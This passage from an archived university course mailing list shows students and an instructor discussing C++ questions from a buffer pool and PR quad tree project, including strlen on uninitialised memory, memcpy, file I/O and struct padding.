Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon Horsley Subject: Reading in a node MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit I'm having problems reading in a node.. The buffer pool does not determine how much to return, it is told how much to return. Correct? So when the PR Quad Tree requests the next node in some form of traversal, it does not know if it is a leaf or a branch, so therefore does not know how much to read in from the memmanager which in turn asks the bufferpool. Can anyone help me figure out how to read in a node if we don't know how much to read in? Sorry if this is a dumb question, thanks for the help. ========================================================================= Date: Thu, 27 Apr 2000 00:02:45 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Martin Fisher Subject: Someone? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Ok, this is really perplexing. This code, when run in MSVC 6 outputs a 25. Can someone, anyone explain to me why this is so. ========================================================================= Date: Thu, 27 Apr 2000 00:03:54 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Martin Fisher Subject: Someone? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit #include using namespace std; void main() { char* what; what = new char[10]; cout << strlen(what); } Sorry that took two times, I finally figured out this email thing. ========================================================================= Date: Thu, 27 Apr 2000 00:07:37 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Reading in a node In-Reply-To: <3907AA43.59DC3B5@vt.edu> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII The memory manager stores the length of the block immediately before the block. (Refer to the spec.) So, you should add a function to the memory manager called RetrieveSize, SizeOf, or the like to return that value. Then, use "new" to make a char array of the appropriate size, call the memory manager's Get function, and you're all set. And you don't even need to look at the first byte of the message, because you can tell the difference between an internal and a leaf node by whether the block size is 17 or 13. (I see no reason for its inclusion in this project, really. Only if different messages were the same size would it matter.) On Wed, 26 Apr 2000, Brandon Horsley wrote: > I'm having problems reading in a node.. > > The buffer pool does not determine how much to return, it is told how much to > return. Correct? So when the PR Quad Tree requests the next node in some form > of traversal, it does not know if it is a leaf or a branch, so therefore does > not know how much to read in from the memmanager which in turn asks the > bufferpool. Can anyone help me figure out how to read in a node if we don't > know how much to read in? Sorry if this is a dumb question, thanks for the > help. > ========================================================================= Date: Thu, 27 Apr 2000 00:09:26 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: writing boolean values to file In-Reply-To: <2.2.32.20000427002457.00bbb23c@mail.vt.edu> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII And, for those who don't know how to use trigraphs, this is equivalent. if (type == true) { msg[0] = 'L'; } else { msg[0] = 'I'; } It's a lot more typing, but it's a good habit to get into. I feel safe in assuming that most people have wide screens to view code in, but they also likely have different sizes, so it's best to be conservative. Statements with trigraphs can make for long lines. On Wed, 26 Apr 2000, jon wrote: > >...just set the bit to "true" of "false" > > > > string msg = ""; > > bool type = true; > > msg.resize(node_size); > > msg[0] = type; > > Another way to do it (and know what you're getting as eight-bit values) is > the following: > > msg[0] = (type ? 'L' : 'I'); > > Jon > ========================================================================= Date: Thu, 27 Apr 2000 01:13:17 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Chris Kelly Subject: Re: Someone? In-Reply-To: <001901bfaffd$9ae8d4c0$685a52c6@goober> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit not 100% positive on this one, but the lack of a null terminator may have an effect on what strlen() returns. If it works the way I think it does, then basically a count is kept as a pointer (or other means) traverses the char*, until a null is found. since your "what" dosn't have a null terminator at what[10], that pointer goes off the end of the array into memory, until it reaches a null, where it then returns the count. Before your strlen command, try doing "what[10] = NULL", then see what you get. Again, i could be totally off (if so, someone correct me), but I am just putting in my thought on this one. Best of luck, Chris -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Martin Fisher Sent: Thursday, April 27, 2000 12:04 AM To: CS2604@LISTSERV.VT.EDU Subject: Someone? #include using namespace std; void main() { char* what; what = new char[10]; cout << strlen(what); } Sorry that took two times, I finally figured out this email thing. ========================================================================= Date: Thu, 27 Apr 2000 01:16:14 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Someone? In-Reply-To: <001901bfaffd$9ae8d4c0$685a52c6@goober> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII You have not put any data in the string. So, by accident, there is a null after 25 non-null characters. However, you are reading past the end of the array. A diagram, where the first byte shown is the byte at the address of "what". '#' means non-zero garbage. #########################0############################## ^ first byte of "what" ^ last byte of "what" ^ the first byte which == 0 The moral: always initialize your data! *what = 0; This will do the trick; strlen() will now report 0. On Thu, 27 Apr 2000, Martin Fisher wrote: > #include > using namespace std; > > void main() > { > char* what; > what = new char[10]; > cout << strlen(what); > } > > Sorry that took two times, I finally figured out this email thing. > ========================================================================= Date: Thu, 27 Apr 2000 01:18:15 -0400 Reply-To: jjustice@vt.edu Sender: CS2604 discussion list From: Jesse Justice Subject: Re: Someone? In-Reply-To: <001901bfaffd$9ae8d4c0$685a52c6@goober> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit first, sorry for the list spam. second, strlen() looks for a null char, so since there's no null char in your string, strlen() just trucks along beyond it and returns a bogus value. if you put a null in what[9], your segment will output a 9, because strlen() counts all the chars before the null char. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Martin Fisher Sent: Thursday, April 27, 2000 12:04 AM To: CS2604@LISTSERV.VT.EDU Subject: Someone? #include using namespace std; void main() { char* what; what = new char[10]; cout << strlen(what); } Sorry that took two times, I finally figured out this email thing. ========================================================================= Date: Thu, 27 Apr 2000 01:24:18 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Costigan Subject: Re: Someone? In-Reply-To: <001901bfaffd$9ae8d4c0$685a52c6@goober> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit strlen() goes through memory starting at the given pointer and counts the number of bytes until it hits a NULL character ('\0'), not counting the terminating NULL character. You didn't initialize your character array, so it could be anything. Apparently, when YOU run the code, the first NULL character after the address pointed to by what occurs after 25 non-NULL characters. In essence, strlen() only works on NULL-terminated initialized C-Strings. If there is no NULL terminating the string then strlen() will keep counting until it finds one. -- JC -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Martin Fisher Sent: Thursday, April 27, 2000 12:04 AM To: CS2604@LISTSERV.VT.EDU Subject: Someone? #include using namespace std; void main() { char* what; what = new char[10]; cout << strlen(what); } Sorry that took two times, I finally figured out this email thing. ========================================================================= Date: Thu, 27 Apr 2000 01:30:30 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Sidney Bennett Subject: Re: Someone? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Bill Gates can't do all the thinking for you! :) strlen() begins at the pointer you pass it and looks for a null character. strlen() will not be happy until it finds a null character. strlen() has no idea how big your array is, and it doesn't care. Just so you know, strlen() is going outside the bounds of your array!! Please don't take this the wrong way, but if you step through your code, you would have seen this! VC++ provides a good debugger. USE IT!! ;) ========================================================================= Date: Thu, 27 Apr 2000 08:27:56 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Mike Schaefer Subject: Re: Someone? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BFB022.7DBC43D0" ------ =_NextPart_000_01BFB022.7DBC43D0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Strlen returns the number of characters until it hits a null terminator. = Thus if you call it on a non terminated string, you will have serious = problems. -----Original Message----- From: Chris Kelly [SMTP:ckelly@VT.EDU] Sent: Thursday, April 27, 2000 1:13 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: Someone? not 100% positive on this one, but the lack of a null terminator may = have an effect on what strlen() returns. If it works the way I think it does, = then basically a count is kept as a pointer (or other means) traverses the = char*, until a null is found. since your "what" dosn't have a null terminator = at what[10], that pointer goes off the end of the array into memory, until = it reaches a null, where it then returns the count. Before your strlen = command, try doing "what[10] =3D NULL", then see what you get. Again, i could be totally off (if so, someone correct me), but I am just putting in my = thought on this one. Best of luck, Chris -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Martin Fisher Sent: Thursday, April 27, 2000 12:04 AM To: CS2604@LISTSERV.VT.EDU Subject: Someone? #include using namespace std; void main() { char* what; what =3D new char[10]; cout << strlen(what); } Sorry that took two times, I finally figured out this email thing. ------ =_NextPart_000_01BFB022.7DBC43D0 Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+IjkMAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEkAYAtAEAAAEAAAAQAAAAAwAAMAIAAAAL AA8OAAAAAAIB/w8BAAAASwAAAAAAAACBKx+kvqMQGZ1uAN0BD1QCAAAAAENTMjYwNCBkaXNjdXNz aW9uIGxpc3QAU01UUABDUzI2MDRAbGlzdHNlcnYudnQuZWR1AAAeAAIwAQAAAAUAAABTTVRQAAAA AB4AAzABAAAAFwAAAENTMjYwNEBsaXN0c2Vydi52dC5lZHUAAAMAFQwBAAAAAwD+DwYAAAAeAAEw AQAAABkAAAAnQ1MyNjA0IGRpc2N1c3Npb24gbGlzdCcAAAAAAgELMAEAAAAcAAAAU01UUDpDUzI2 MDRATElTVFNFUlYuVlQuRURVAAMAADkAAAAACwBAOgEAAAAeAPZfAQAAABcAAABDUzI2MDQgZGlz Y3Vzc2lvbiBsaXN0AAACAfdfAQAAAEsAAAAAAAAAgSsfpL6jEBmdbgDdAQ9UAgAAAABDUzI2MDQg ZGlzY3Vzc2lvbiBsaXN0AFNNVFAAQ1MyNjA0QGxpc3RzZXJ2LnZ0LmVkdQAAAwD9XwEAAAADAP9f AAAAAAIB9g8BAAAABAAAAAAAAALhVwEEgAEADQAAAFJFOiBTb21lb25lPwAGBAEFgAMADgAAANAH BAAbAAgAGwA4AAQAVQEBIIADAA4AAADQBwQAGwAIABsABAAEACEBAQmAAQAhAAAARjQ4M0ZEMERD MzFBRDQxMUE2QTEwMEEwQzk4NEVDNDYAOQcBA5AGAPgLAAAhAAAACwACAAEAAAALACMAAAAAAAMA JgAAAAAACwApAAAAAAADAC4AAAAAAAMANgAAAAAAQAA5AOAy9wNEsL8BHgBwAAEAAAANAAAAUkU6 IFNvbWVvbmU/AAAAAAIBcQABAAAAFgAAAAG/sEQD0w39g/UawxHUpqEAoMmE7EYAAB4AHgwBAAAA BQAAAFNNVFAAAAAAHgAfDAEAAAAQAAAAbWlzY2hhZWZAdnQuZWR1AAMABhCMULxrAwAHEDAEAAAe AAgQAQAAAGUAAABTVFJMRU5SRVRVUk5TVEhFTlVNQkVST0ZDSEFSQUNURVJTVU5USUxJVEhJVFNB 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 AAUAAABSRTogAAAAAAMADTT9NwAA8R0= ------ =_NextPart_000_01BFB022.7DBC43D0-- ========================================================================= Date: Fri, 28 Apr 2000 00:43:39 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Richard Bowman Subject: losing my mind MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Alright, I am trying to write a block to a file... char data[m_blockSize]; for(x=0; xgetData(), m_blockSize); bin.seekp(m_blockSize * p->getPos()); bin.write(data, m_blockSize); The data going in has a 'C' for the last character (data[19])... but I do a get right afterwards (because I notied the problem I added this debug code): bin.seekg(m_blockSize * p->getPos()); for(x=0; x Sender: CS2604 discussion list From: Brent Brownfield Subject: Re: losing my mind In-Reply-To: <390916FA.9E4AE985@vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit As I recall memcpy doesn't like the parameter p->getData(). Instead try assigning the object getData() returns to an object of that type, and use this as the parameter for memcpy. For example: char* temp = p->getData(); memcpy(&data,temp,m_blockSize); -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Richard Bowman Sent: Friday, April 28, 2000 12:44 AM To: CS2604@LISTSERV.VT.EDU Subject: losing my mind Alright, I am trying to write a block to a file... char data[m_blockSize]; for(x=0; xgetData(), m_blockSize); bin.seekp(m_blockSize * p->getPos()); bin.write(data, m_blockSize); The data going in has a 'C' for the last character (data[19])... but I do a get right afterwards (because I notied the problem I added this debug code): bin.seekg(m_blockSize * p->getPos()); for(x=0; x Sender: CS2604 discussion list From: Richard Bowman Subject: Re: losing my mind MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Well, if I look at the value of data after this line, it does contain the correct text. Its only after I read it back in from the file that it screws up. Richard Brent Brownfield wrote: > As I recall memcpy doesn't like the parameter p->getData(). Instead try > assigning the object getData() returns to an object of that type, and use > this as the parameter for memcpy. > For example: > char* temp = p->getData(); > memcpy(&data,temp,m_blockSize); > > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > Richard Bowman > Sent: Friday, April 28, 2000 12:44 AM > To: CS2604@LISTSERV.VT.EDU > Subject: losing my mind > > Alright, I am trying to write a block to a file... > > char data[m_blockSize]; > for(x=0; x memcpy(&data, p->getData(), m_blockSize); > > bin.seekp(m_blockSize * p->getPos()); > bin.write(data, m_blockSize); > > The data going in has a 'C' for the last character (data[19])... but I > do a get right afterwards (because I notied the problem I added this > debug code): > > bin.seekg(m_blockSize * p->getPos()); > for(x=0; x bin.get(data, m_blockSize); > > And when I look at data[19] now, it contains a null character!!!! I dont > understand at all what is going on with the file, but this is screwing > up my program completely. Any help would be _greatly_ appreciated! > > Thanks > Richard ========================================================================= Date: Fri, 28 Apr 2000 05:35:02 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon Horsley Subject: Bufferpool += Confusing MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit I'm writing my buffer pool, and then I realize I don't understand how this is going to work. What I think is supposed to happen is ... It will be created with X blocks at Y size. The X blocks will be of some InternalNode type, and will contain a data array and a dirty byte. What I don't understand is how the buffer pool knows the file positions of things in the buffer and how it knows when something spans two buffers... ie: you have a 2 block buffer of 20 bytes, and insert "HELLO" at handle 0 the buffer block will contain [BLOCK 1] H E L L O \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ how does it store WHERE this goes in the file? and for spanning two buffers, say you insert "HOW ARE YOU? I AM DOING GOOD" [BLOCK 1] H E L L O H O W A R E Y O U? I [BLOCK 2] A M D O I N G G O O D \ \ \ \ \ \ \ I understand that in spanning blocks, when a get request is sent to the buffer, it will be told the file handle and size, so knowing the size is not an issue, how does the buffer pool know that that file handle starts at position 6 in block 1? Thanks for any help ========================================================================= Date: Fri, 28 Apr 2000 07:59:45 -0400 Reply-To: jcovin@vt.edu Sender: CS2604 discussion list From: Jon Covin Subject: Re: Bufferpool += Confusing In-Reply-To: <39095B46.44CF941F@vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT > What I don't understand is how the buffer pool knows the file positions of > things in the buffer and how it knows when something spans two buffers... ie: You answer your own question about buffer spanning further down in the message. > you have a 2 block buffer of 20 bytes, and insert "HELLO" at handle 0 > the buffer block will contain > > [BLOCK 1] > H E L L O \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ > > how does it store WHERE this goes in the file? The memory manager tells the buffer pool the handle of where to store data. > and for spanning two buffers, say you insert "HOW ARE YOU? I AM DOING GOOD" > > [BLOCK 1] > H E L L O H O W A R E Y O U? I > > [BLOCK 2] > A M D O I N G G O O D \ \ \ \ \ \ \ > > I understand that in spanning blocks, when a get request is sent to the buffer, > it will be told the file handle and size, so knowing the size is not an issue, > how does the buffer pool know that that file handle starts at position 6 in > block 1? Again the memory manager tells the buffer pool this information. Be careful with the sizes, in this project we're supposed to store the size in the bufferpool/disk before the data that way we DON'T know the size when doing a get, we just know a handle. When we do a get we first get the size because we know it's the first thing stored, then we can complete the rest of the get. There is one problem with this however, what if the 4 bytes of size data crosses blocks? I haven't figured out a good way to combat this problem so for now I'm just ignoring it and hoping it won't happen. Your memory manager does all the handle managing based on the freelist. The memory manager determines the handle on an insert and then passes the information to the buffer pool which does the actual insertion. -Jon ========================================================================= Date: Fri, 28 Apr 2000 09:38:43 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Fang Huang Subject: Re: losing my mind MIME-version: 1.0 Content-type: text/plain; charset=us-ascii If the p->getData() returns a data structure(such as a leafNode), memcpy will not work correctly. So sent each field separately. Actually I have same problem before. >Alright, I am trying to write a block to a file... > >char data[m_blockSize]; >for(x=0; xmemcpy(&data, p->getData(), m_blockSize); > >bin.seekp(m_blockSize * p->getPos()); >bin.write(data, m_blockSize); > >The data going in has a 'C' for the last character (data[19])... but I >do a get right afterwards (because I notied the problem I added this >debug code): > >bin.seekg(m_blockSize * p->getPos()); >for(x=0; xbin.get(data, m_blockSize); > >And when I look at data[19] now, it contains a null character!!!! I dont >understand at all what is going on with the file, but this is screwing >up my program completely. Any help would be _greatly_ appreciated! > >Thanks >Richard > ========================================================================= Date: Fri, 28 Apr 2000 10:08:04 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: jon Subject: Re: losing my mind MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Three things; hope they help your problem. >If the p->getData() returns a data structure(such as a leafNode), memcpy >will not work correctly. So sent each field separately. Actually I have >same problem before. One: this might be due to byte alignment. Take the following structure: class QTLeafNode_Data { char Type; int CityX, CityY; int CityName; }; While it seems like this should be a 13-byte structure, it was actually 16 bytes long because the members were aligned on a 4-byte boundary (i.e. an extra 3 bytes were inserted after the character). To remedy this and get the structure you're expecting you can use the following directives (in VC6): #pragma pack(1) class QTInternalNode_Data { ... } #pragma pack() // restore default >>char data[m_blockSize]; >>for(x=0; x>memcpy(&data, p->getData(), m_blockSize); Two: in line 3, '&data' should be 'data'. As it is - if this is the actual code you compiled - you're writing over the pointer (char *)data, not the buffer to which it points. Three: just to make sure, call bin.fail() and verify that your operations on the file are succeeding. As soon as one operation fails, all subsequent operations will fail until you call bin.clear(). Jon ========================================================================= Date: Fri, 28 Apr 2000 11:27:26 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Richard Bowman Subject: Re: losing my mind MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit p->getData() is the character array used to store the block in the linked list of the buffer pool. And I have checked bin.tellp() and bin.tellg() to make sure my seek is working and the file is long enough to seek there properly. Richard jon wrote: > Three things; hope they help your problem. > > >If the p->getData() returns a data structure(such as a leafNode), memcpy > >will not work correctly. So sent each field separately. Actually I have > >same problem before. > > One: this might be due to byte alignment. Take the following structure: > class QTLeafNode_Data { > char Type; > int CityX, CityY; > int CityName; > }; > While it seems like this should be a 13-byte structure, it was actually 16 > bytes long because the members were aligned on a 4-byte boundary (i.e. an > extra 3 bytes were inserted after the character). To remedy this and get > the structure you're expecting you can use the following directives (in VC6): > #pragma pack(1) > class QTInternalNode_Data { > ... > } > #pragma pack() // restore default > > >>char data[m_blockSize]; > >>for(x=0; x >>memcpy(&data, p->getData(), m_blockSize); > > Two: in line 3, '&data' should be 'data'. As it is - if this is the actual > code you compiled - you're writing over the pointer (char *)data, not the > buffer to which it points. > > Three: just to make sure, call bin.fail() and verify that your operations on > the file are succeeding. As soon as one operation fails, all subsequent > operations will fail until you call bin.clear(). > > Jon ========================================================================= Date: Fri, 28 Apr 2000 10:44:46 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Bufferpool += Confusing In-Reply-To: <0FTQ00B386QD2C@gkar.cc.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 28 Apr 2000, Jon Covin wrote: > Be careful with the sizes, in this project we're supposed to store > the size in the bufferpool/disk before the data that way we DON'T > know the size when doing a get, we just know a handle. When we > do a get we first get the size because we know it's the first thing > stored, then we can complete the rest of the get. There is one > problem with this however, what if the 4 bytes of size data crosses > blocks? I haven't figured out a good way to combat this problem so > for now I'm just ignoring it and hoping it won't happen. It *will* happen. But this should be easy to take care of. A request to the bufferpool simply copies bytes out of buffers into some space supplied by the caller. The bytes to be copied don't matter, in that they are just bytes. So, if a (logical) int variable physically spans two buffers, it doesn't matter any more than if a cityname spanned two buffers. Its just a byte copy either way. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Fri, 28 Apr 2000 11:07:16 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon Horsley Subject: Re: Bufferpool += Confusing MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit > When we do a get we first get the size because we know it's the first thing > stored, then we can complete the rest of the get. There is one > problem with this however, what if the 4 bytes of size data crosses > blocks? I haven't figured out a good way to combat this problem so > for now I'm just ignoring it and hoping it won't happen. that's easy, if you tell the buffer pool you want 4 bytes (to read the size) and the size spans two buffers, then the buffer pool still knows you want 4 bytes and will know to span the buffers. I think you misunderstood my question though, I was asking how do the internalnodes of the buffer pool know what a handle is linked to in the buffer blocks? ie: you have the two nodes stored in one block, you call BufferPool.Read (Handle, Size); how does it take handle and figure out which part of which buffer block to read? more specifically, how does the buffer pool store what handle is associated with what position in the buffer block, if this makes sense.. inserting data in the buffer pool, the buffer pool takes Handle, Size, and Data it writes Size bytes of Data into a block, and then what does it do with Handle? Does it store it in some linked list in the internal buffer block? ========================================================================= Date: Fri, 28 Apr 2000 11:51:03 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Bufferpool += Confusing In-Reply-To: <3909A924.BEEB05C3@vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Because the value of the handle *is* the byte position in the file that begins the message, which is easily mapped to the byte position in the buffer. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- On Fri, 28 Apr 2000, Brandon Horsley wrote: > > When 